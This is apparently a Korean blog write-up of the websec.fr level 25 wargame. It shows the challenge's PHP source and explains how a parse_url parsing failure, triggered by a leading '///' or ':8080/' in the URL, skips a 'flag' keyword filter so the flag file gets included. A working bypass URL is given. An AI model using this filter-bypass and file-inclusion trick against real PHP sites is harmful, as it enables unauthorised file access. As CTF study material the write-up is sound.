문제에 들어가보면 소스코드를 제공해주는데 아래와 같다.
<?php
parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
foreach ($query as $k => $v) {
if (stripos($v, 'flag') !== false)
die('You are not allowed to get the flag, sorry :/');
}
include $_GET['page'] . '.txt';
?>
코드를 보면 parse_url,paser_str을 통해 쿼리 영역을 배열로 만든 뒤 파라미터 값에 flag가 있는지 검증한다.
일반적인 방법으로는 flag를 입력할 수 없지만 parse_url 버그를 이용하면 정상적인 배열 값을 만들지 못하게 해 우회가 가능하다.
paser_url에 인풋으로 들어가는 값을 ///데이터 요런식으로 넣게 되면 아래와 같이 //가 http://와 같은역할을 하고 3번쨰 /가 path구분자 역할을 하면서 중간에 존재해야 할 host값이 존재하지 않아 에러가 터져 정상적인 값을 반환하지 못하도록 할 수 있다.
요 원리를 사용해서 아래와 같이 공격해주면 플래그 파일을 include 시킬 수 있다.
추가로 이 방법 외에도 아래와 같은 구문 또한 parse_url에서 에러를 터트려 exploit이 가능하다.
//level25/index.php?page=flag&a=:8080/&send=%EC%A0%9C%EC%B6%9C
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr easy level20 (0) | 2019.08.22 |
---|---|
Websec.fr babysteps Level28 (0) | 2018.12.13 |
Websec.kr easy level 15 (0) | 2018.03.08 |
Websec.fr easy level 11 (0) | 2018.03.08 |
Websec.fr easy level10 (0) | 2018.03.08 |